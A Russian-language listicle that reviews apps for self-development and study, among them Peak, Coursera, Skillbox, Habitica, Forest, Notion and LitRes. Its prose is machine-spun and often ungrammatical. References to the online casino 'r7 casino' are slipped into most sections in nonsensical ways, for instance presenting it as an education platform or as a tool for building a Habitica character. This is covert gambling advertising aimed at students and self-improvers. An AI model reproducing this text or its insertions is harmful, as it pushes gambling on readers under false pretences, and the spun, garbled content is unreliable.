ОсобСнно Ρ†Π΅Π½Π΅Π½ NeuroNation Ρ‚Π΅ΠΌ, ΠΊΡ‚ΠΎ стрСмится ΡƒΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚ Π² Ρ„ΠΎΡ€ΠΌΠ΅ послС напряТСнного дня Π½Π° Ρ€Π°Π±ΠΎΡ‚Π΅ ΠΈΠ»ΠΈ Π²ΠΎ врСмя экзамСнационной ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ.

Пик: умствСнныС ΠΌΠΈΠ½ΠΈ-ΠΈΠ³Ρ€Ρ‹

Peak выдСляСтся элСгантным интСрфСйсом ΠΈ Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ ассортимСнтом ΠΌΠΈΠ½ΠΈ-ΠΈΠ³Ρ€ Π½Π° ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΠ΅ многочислСнных аспСктов ΠΌΡ‹ΡˆΠ»Π΅Π½ΠΈΡ:

  • РСтСнция
  • Π’Π½ΠΈΠΌΠ°Π½ΠΈΠ΅
  • АрифмСтичСскиС умСния
  • Π˜Π½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚
  • Π­ΠΌΠΎΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΉ ΠΈΠ½Ρ‚Π΅Π»Π»Π΅ΠΊΡ‚

ПослС любой ΠΈΠ³Ρ€Ρ‹ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΡƒΡŽ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎ своим Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°ΠΌ Π·Π° сутки/сСмь Π΄Π½Π΅ΠΉ/мСсяц. Π­Ρ‚ΠΎ дСйствиС ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΎΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ€Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ΠΌ ΠΈ Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚ΡŒ слабыС стороны для дальнСйшСй Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π½Π°Π΄ собой.

Peak особСнно популярСн срСди ΠΎΠ±ΡƒΡ‡Π°ΡŽΡ‰ΠΈΡ…ΡΡ благодаря удобству примСнСния “Π½Π° Ρ…ΠΎΠ΄Ρƒ”: ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ сСссия Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ Π½Π΅ большС пяти ΠΌΠΈΠ½ΡƒΡ‚.

Π’ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ занятия: ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ способностям

Coursera: извСстныС Π²Ρ‹ΡΡˆΠΈΠ΅ ΡƒΡ‡Π΅Π±Π½Ρ‹Π΅ завСдСния Π² смартфонС

Coursera Π΄Π°Π²Π½ΠΎ ΠΏΡ€Π΅Π²Ρ€Π°Ρ‚ΠΈΠ»Π°ΡΡŒ Π² символом высококлассного ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-обучСния. Π‘Ρ€Π΅Π΄ΠΈ популярных ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ для образования, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ r7 ΠΊΠ°Π·ΠΈΠ½ΠΎ, здСсь собраны курсы ΠΏΠ΅Ρ€Π΅Π΄ΠΎΠ²Ρ‹Ρ… ΡƒΡ‡Π΅Π±Π½Ρ‹Ρ… Π·Π°Π²Π΅Π΄Π΅Π½ΠΈΠΉ ΠΌΠΈΡ€Π° (Бтэнфорд, ΠœΠ“Π£, Π™Π΅Π»ΡŒ) ΠΏΠΎ самым Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·Π½Ρ‹ΠΌ дисциплинам:

  • Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ
  • ЭкономичСская систСма
  • ВворчСство
  • ΠŸΡΠΈΡ…ΠΎΡ‚Π΅Ρ€Π°ΠΏΠΈΡ
  • ΠŸΡ€ΠΎΠ΅ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅

ΠšΡƒΡ€ΡΡ‹ Π²ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ Π²ΠΈΠ΄Π΅ΠΎΠ»Π΅ΠΊΡ†ΠΈΠΈ, задания для самопровСрки Π·Π½Π°Π½ΠΈΠΉ, практичСскиС задания ΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹. ПослС ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ³ΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ сСртификат (Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях ΠΎΠ½ Π½Π΅ бСсплатный).

ΠŸΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° энСргично ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ российский язык ΠΊΠ°ΠΊ интСрфСйса, Ρ‚Π°ΠΊ ΠΈ субтитров ΠΊΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠΌ курсам — это Π΄Π΅Π»Π°Π΅Ρ‚ ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ доступным Π΄Π°ΠΆΠ΅ Ρ‚Π΅ΠΌ, ΠΊΡ‚ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΡƒΡ‡ΠΈΡ‚ΡŒ английский.

Skillbox: Π°ΠΊΡ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ профСссии ΠΎΠ½Π»Π°ΠΉΠ½

Skillbox Π½Π°Ρ†Π΅Π»Π΅Π½ ΠΏΡ€Π΅ΠΆΠ΄Π΅ всСго Π½Π° ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ для Π·Ρ€Π΅Π»Ρ‹Ρ…: ΠΏΡ€ΠΎΠ΄Π²ΠΈΠΆΠ΅Π½ΠΈΠ΅, Π΄ΠΈΠ·Π°ΠΉΠ½, ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°ΠΌΠΈ. Π’ сравнСниС ΠΎΡ‚ Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·Π½Ρ‹Ρ… Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ… сСрвисов, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ r7 casino, Π² этом мСстС Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ сосрСдоточСно Π½Π° практичСским занятиям — ΠΏΠΎΡ‡Ρ‚ΠΈ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ курс Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ настоящиС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹ ΠΎΡ‚ российских ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ-ΠΏΠ°Ρ€Ρ‚Π½Π΅Ρ€ΠΎΠ² (ЯндСкс.ΠŸΡ€Π°ΠΊΡ‚ΠΈΠΊΡƒΠΌ Ρ‚ΠΎΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠΎ ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ).

Π₯арактСристики Skillbox:

  • ΠžΠ±Ρ€Π°Ρ‚ΠΈΠΌΡ‹ΠΉ коммуникация ΠΎΡ‚ наставников
  • ВыпускныС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Ρ‹ с пСрспСктивой ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ
  • ΠšΠΎΠΌΡ„ΠΎΡ€Ρ‚Π½Ρ‹ΠΉ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс

Skillbox Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для Ρ‚Π΅ΠΌ, ΠΊΡ‚ΠΎ ΠΆΠ΅Π»Π°Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Ρ€ΠΎΠ΄ Π΄Π΅ΡΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈΠ»ΠΈ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ умСния Π±Π΅Π· ΠΎΡ‚Ρ€Ρ‹Π²Π° ΠΎΡ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹.

Stepik: Π±Π΅Π·Π²ΠΎΠ·ΠΌΠ΅Π·Π΄Π½ΠΎΠ΅ ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π½Π° русском языкС

Stepik стал истинным успСхом для русского ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-обучСния благодаря ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Π°Ρ€ΠΎΠ²ΠΎΠΉ ΠΌΠΎΠ΄Π΅Π»ΠΈ возмоТности доступа ΠΊ основному числу курсов. Π—Π΄Π΅ΡΡŒ ΠΈΠΌΠ΅ΡŽΡ‚ΡΡ Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ акадСмичСскиС ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚Ρ‹ (матСматичСскиС Π½Π°ΡƒΠΊΠΈ Π²Ρ‹ΡΡˆΠ΅Π³ΠΎ уровня), Ρ‚Π°ΠΊ ΠΈ ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Π½Ρ‹Π΅ умСния (ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ Python-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ°).

ΠŸΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΡƒΠ΄ΠΎΠ±Π½Π° Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ прСдоставляСт шанс ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ собствСнныС курсы всякому ΠΆΠ΅Π»Π°ΡŽΡ‰Π΅ΠΌΡƒ ΠΏΠ΅Π΄Π°Π³ΠΎΠ³Ρƒ ΠΈΠ»ΠΈ Π·Π½Π°Ρ‚ΠΎΠΊΡƒ Π² своСй области. Благодаря Π΄Π°Π½Π½ΠΎΠΌΡƒ Π±Π°Π·Π° постоянно обновляСтся свСТими Π΄Π°Π½Π½Ρ‹ΠΌΠΈ ΠΎ соврСмСнным вопросам.

Π Π°Π·Π²ΠΈΡ‚ΠΈΠ΅ Π½Π°Π²Ρ‹ΠΊΠΎΠ² ΠΈ ΡƒΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ расписаниСм

Habitica: ΡƒΠ»ΡƒΡ‡ΡˆΠ°ΠΉ свою Тизнь ΠΊΠ°ΠΊ RPG-Π°Π²Π°Ρ‚Π°Ρ€Π°

Π₯Π°Π±ΠΈΡ‚ΠΈΠΊΠ° ΠΏΡ€Π΅Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ…ΠΎΠ΄ формирования ΠΎΠ±Ρ‹Ρ‡Π°Π΅Π² Π² ΡƒΠ²Π»Π΅ΠΊΠ°Ρ‚Π΅Π»ΡŒΠ½ΡƒΡŽ ΠΈΠ³Ρ€Ρƒ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅ Ρ€ΠΎΠ»Π΅Π²Ρ‹Ρ… Π°Π²Π°Π½Ρ‚ΡŽΡ€ (RPG). Π’Ρ‹ создаётС гСроя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ r7 ΠΊΠ°Π·ΠΈΠ½ΠΎ ΠΈ Π½Π°Π±ΠΈΡ€Π°Π΅Ρ‚Π΅ экспириСнс Π·Π° Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ повсСднСвных Π·Π°Π΄Π°Π½ΠΈΠΉ:

  • ΠŸΡ€ΠΎΡΠΌΠΎΡ‚Ρ€ ΠΊΠ½ΠΈΠ³ΠΈ Π½Π°ΠΊΠ°Π½ΡƒΠ½Π΅ ΠΎΡ‚Π΄Ρ‹Ρ…ΠΎΠΌ
  • УтрСнняя гимнастика
  • ΠžΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅ Π½Π΅Π΄Π°Π²Π½ΠΎ ΠΈΠ·ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… слов.
  • Π‘ΠΎΠ·Π΅Ρ€Ρ†Π°Π½ΠΈΠ΅

Π—Π° ΡƒΠΏΡƒΡ‰Π΅Π½ΠΈΠ΅ ΠΎΠ±Ρ‹Ρ‡ΠΊΠΈ пСрсонаТ Π»ΠΈΡˆΠ°Π΅Ρ‚ Тизнь ΠΈΠ»ΠΈ дСньги! Допустимо ΡΠΏΠ»Π°Ρ‡ΠΈΠ²Π°Ρ‚ΡŒΡΡ с приятСлями Π² ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹ для совмСстного выполнСния “квСстов” — скаТСм, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠ°Π·ΠΈΠ½ΠΎ ΠΎΠ½Π»Π°ΠΉΠ½ r7 casino, Π±Ρ€ΠΎΡΠΈΡ‚ΡŒ Π²Ρ‹Π·ΠΎΠ² сСбС Π½Π΅ ΠΏΡ€ΠΎΠ³ΡƒΠ»ΠΈΠ²Π°Ρ‚ΡŒ ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π΅ΠΆΠΊΠΈ вСсь ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ Π² 30 Π΄Π½Π΅ΠΉ.

Π’Π°ΠΊΠΎΠΉ способ Π² частности Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅Ρ‚ Ρƒ Ρ‚Π΅Ρ… ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слоТно ΠΌΠΎΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ сСбя Ρ‚ΠΈΠΏΠΈΡ‡Π½Ρ‹ΠΌΠΈ увСдомлСниями ΠΎ Π΄Π΅Π»Π°Ρ….

Forest: концСнтрируйся избСгая ΠΎΡ‚Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠΉ

Forest содСйствуСт ΠΏΡ€ΠΎΡ‚ΠΈΠ²ΠΎΡΡ‚ΠΎΡΡ‚ΡŒ с прокрастинациСй Ρ‡Π΅Ρ€Π΅Π· Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ процСсса сосрСдоточСнности. Π’ этом процСссС, Ρ‚Π°ΠΊΠΈΠ΅ приспособлСния, ΠΊΠ°ΠΊ ΠΊΠ°Π·ΠΈΠ½ΠΎ ΠΎΠ½Π»Π°ΠΉΠ½ r7 casino, ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ²Π»ΡΡ‚ΡŒΡΡ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌΠΈ ΠΎΠ±Ρ€Π°Π·Ρ†Π°ΠΌΠΈ. Π‘ΡƒΡ‚ΡŒ элСмСнтарна: Π²Ρ‹ ставитС Ρ‚Π°ΠΉΠΌΠ΅Ρ€ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π½Π° 25 ΠΌΠΈΠ½ΡƒΡ‚), ΡƒΠ±ΠΈΡ€Π°Π΅Ρ‚Π΅ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½ Π² сторону — Π° Π½Π° дисплСС “растСт” Π΄Π΅Ρ€Π΅Π²ΠΎ. Если Π·Π°ΠΊΡ€Ρ‹Ρ‚ΡŒ ΠΈΠ· Π°ΠΏΠΏΠ° Ρ€Π°Π½ΡŒΡˆΠ΅ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ — Π΄Ρ€Π΅Π²ΠΎ ΡƒΠΌΠΈΡ€Π°Π΅Ρ‚!

Π’ ΠΈΡ‚ΠΎΠ³Π΅ Π·Π° нСдСлю ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Ρ€Π°ΡΡ‚ΠΈΡ‚ΡŒ Ρ†Π΅Π»Ρ‹ΠΉ ΠΏΠ°Ρ€ΠΊ ΠΈΠ· “сконцСнтрированных” ΠΌΠΎΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΈΠ»ΠΈ обучСния. Forest взаимодСйствуСт с экологичСскими Ρ„ΠΎΠ½Π΄Π°ΠΌΠΈ ΠΏΠΎ всСму ΠΌΠΈΡ€Ρƒ; Π·Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ ΡŽΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΠΆΠΈΠ²ΠΎΠ΅ Π΄Π΅Ρ€Π΅Π²ΠΎ Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π² Африканском ΠΊΠΎΠ½Ρ‚ΠΈΠ½Π΅Π½Ρ‚Π΅ ΠΈΠ»ΠΈ Азии.

ДрСвСсный массив извСстСн Ρƒ учащихся Π²ΠΎ врСмя ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ ΠΊ экзамСнам; ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ самозанятым для планирования Ρ€Π°Π±ΠΎΡ‡Π΅Π³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π±Π΅Π· частых ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΎΠΊ ΡΠΎΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Π΄ΠΈΠ°.

Notion: Π²ΡΠ΅ΠΎΠ±ΡŠΠ΅ΠΌΠ»ΡŽΡ‰ΠΈΠΉ инструмСнт ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ

Notion слоТно Π½Π°Π·Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ для ΠΏΡ€ΠΈΠ²Ρ‹Ρ‡Π΅ΠΊ ΠΈΠ»ΠΈ Π·Π°Π΄Π°Ρ‡Π½ΠΈΠΊΠ°; это Π² большСй стСпСни “ΡˆΠ²Π΅ΠΉΡ†Π°Ρ€ΡΠΊΠΈΠΉ Π½ΠΎΠΆ” ΠΎΠ½Π»Π°ΠΉΠ½ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΆΠΈΠ·Π½ΠΈ:

  • ΠšΠΎΠ½ΡΠΏΠ΅ΠΊΡ‚Ρ‹
  • Π‘Π°Π·Ρ‹ свСдСний
  • ΠŸΠ»Π°Π½ΠΈΡ€ΠΎΠ²Ρ‰ΠΈΠΊ обязанностСй
  • Π“Ρ€Π°Ρ„ΠΈΠΊΠΈ успСха ΠΏΠΎ Π·Π°Π΄Π°Ρ‡Π°ΠΌ/ΠΎΠ±Ρ‹Ρ‡ΠΊΠ°ΠΌ
  • БовмСстная Ρ‚Ρ€ΡƒΠ΄ ΠΏΠΎ заданиями

Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ Notion Π»Π΅Π³ΠΊΠΎ Ρ€Π°Π·Π±ΠΈΡ€Π°Π΅ΠΌ Π΄Π°ΠΆΠ΅ Π½ΠΎΠ²Ρ‹ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ; ΠΌΠΎΠΆΠ½ΠΎ быстро Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° прочтСния ΠΊΠ½ΠΈΠ³ ΠΈΠ»ΠΈ расписаниС ΠΏΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠΈ ΠΊ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ ΠΏΠΎ Π•Π“Π­/ΠžΠ“Π­. ОсобСнно цСнят Notion студСнты Π²ΡƒΠ·ΠΎΠ² Π·Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ вСсти Π·Π°ΠΌΠ΅Ρ‚ΠΊΠΈ Π»Π΅ΠΊΡ†ΠΈΠΉ вмСстС с Ρ‚ΠΎΠ²Π°Ρ€ΠΈΡ‰Π°ΠΌΠΈ ΠΏΠΎ ΡƒΡ‡Π΅Π±Π΅ прямо Π²Π½ΡƒΡ‚Ρ€ΠΈ прилоТСния.

Π¦ΠΈΡ„Ρ€ΠΎΠ²Ρ‹Π΅ ΠΊΠ½ΠΈΠ³ΠΈ ΠΈ Π°ΡƒΠ΄ΠΈΠΎΠΊΠ½ΠΈΠ³ΠΈ ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ личностного роста

ЛитРСс: самая большая коллСкция ΠΊΠ½ΠΈΠ³ Ρ€ΡƒΠ½Π΅Ρ‚Π°

ЛитРСс ΡƒΠΆΠ΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ врСмя сохраняСт Ρ€Π΅ΠΏΡƒΡ‚Π°Ρ†ΠΈΡŽ самой вострСбованной ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹ ΠΎΠ½Π»Π°ΠΉΠ½ ΠΊΠ½ΠΈΠ³ Π½Π° русском языкС. Π’ΡƒΡ‚, Π°Π½Π°Π»ΠΎΠ³ΠΈΡ‡Π½ΠΎ Ρ‚ΠΎΠΌΡƒ ΠΊΠ°ΠΊ ΠΈ Π½Π° r7 ΠΊΠ°Π·ΠΈΠ½ΠΎ, ΠΌΠΎΠΆΠ½ΠΎ ΠΎΡ‚Ρ‹ΡΠΊΠ°Ρ‚ΡŒ Π»ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΡƒΡ€Ρƒ ΠΏΠΎΡ‡Ρ‚ΠΈ ΠΊΠ°ΠΊΠΎΠ³ΠΎ ΡƒΠ³ΠΎΠ΄Π½ΠΎ направлСния:

  • ВворчСская ΠΏΡ€ΠΎΠ·Π°
  • Научная Π»ΠΈΡ‚Π΅Ρ€Π°Ρ‚ΡƒΡ€Π°
  • Π˜ΡΡ‚ΠΎΡ€ΠΈΠΈ ΠΆΠΈΠ·Π½ΠΈ Π²Ρ‹Π΄Π°ΡŽΡ‰ΠΈΡ…ΡΡ личностСй.
  • Пособия ΠΏΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ дисциплинам

Удобная Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ согласования срСди устройствами, ΠΊΠ°ΠΊ Π² Π°ΠΏΠΏΠ»ΠΈΠΊΠ°Ρ†ΠΈΠΈ r7 casino, позволяСт ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ сразу Π½Π° смартфонС Π΄ΠΎΠΌΠ° ΡƒΡ‚Ρ€ΠΎΠΌ Π·Π° ΡƒΡ‚Ρ€Π΅Π½Π½Π΅ΠΉ Ρ‚Ρ€Π°ΠΏΠ΅Π·ΠΎΠΉ ΠΈΠ»ΠΈ дальшС Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π²Π΅Ρ‡Π΅Ρ€ΠΎΠΌ ΡƒΠΆΠ΅ Π½Π° элСктронной ΠΊΠ½ΠΈΠ³Π΅ ΠΏΠ΅Ρ€Π΅Π΄ сном Π±Π΅Π· ΠΏΠΎΡ‚Π΅Ρ€ΠΈ Π·Π°ΠΊΠ»Π°Π΄ΠΎΠΊ.

Π’Π°ΠΊΠΆΠ΅ ЛитРСс энСргично Ρ€Π°ΡΡˆΠΈΡ€ΡΠ΅Ρ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ Π°ΡƒΠ΄ΠΈΠΎΠΊΠ½ΠΈΠ³; ΠΌΠ½ΠΎΠ³ΠΈΠ΅ произвСдСния Π½Π°Ρ‡ΠΈΡ‚Π°Π½Ρ‹ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌΠΈ исполнитСлями Ρ‚Π΅Π°Ρ‚Ρ€Π° ΠΈΠ»ΠΈ ΠΊΠΈΠ½ΠΎ (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠšΠΎΠ½ΡΡ‚Π°Π½Ρ‚ΠΈΠ½ Π₯абСнский Π½Π°Ρ‡ΠΈΡ‚Ρ‹Π²Π°Π» «ΠœΠ°ΡΡ‚Π΅Ρ€Π° ΠΈ ΠœΠ°Ρ€Π³Π°Ρ€ΠΈΡ‚Ρƒ»).

Storytel: всСлСнная Π·Π²ΡƒΠΊΠΎΠ²Ρ‹Ρ… ΠΊΠ½ΠΈΠ³ постоянно доступСн.

Storytel ставит ΡƒΠΏΠΎΡ€ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎ Π½Π° аудиовосприятии ΠΊΠ½ΠΈΠ³ Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ классичСского ознакомлСния Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ. Π­Ρ‚ΠΎ Π·Π°ΠΌΠ΅Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄ Ρ€Π°Π·Π²ΠΈΠ²Π°Ρ‚ΡŒΡΡ Π΄Π°ΠΆΠ΅ ΠΊΠΎΠ³Π΄Π° Ρ€ΡƒΠΊΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Ρ‹ Ρ‡Π΅ΠΌ-Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠΌ — Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²ΠΎ врСмя Π±Π΅Π³Π° трусцой ΠΈΠ»ΠΈ ΠΌΡ‹Ρ‚ΡŒΡ посуды!

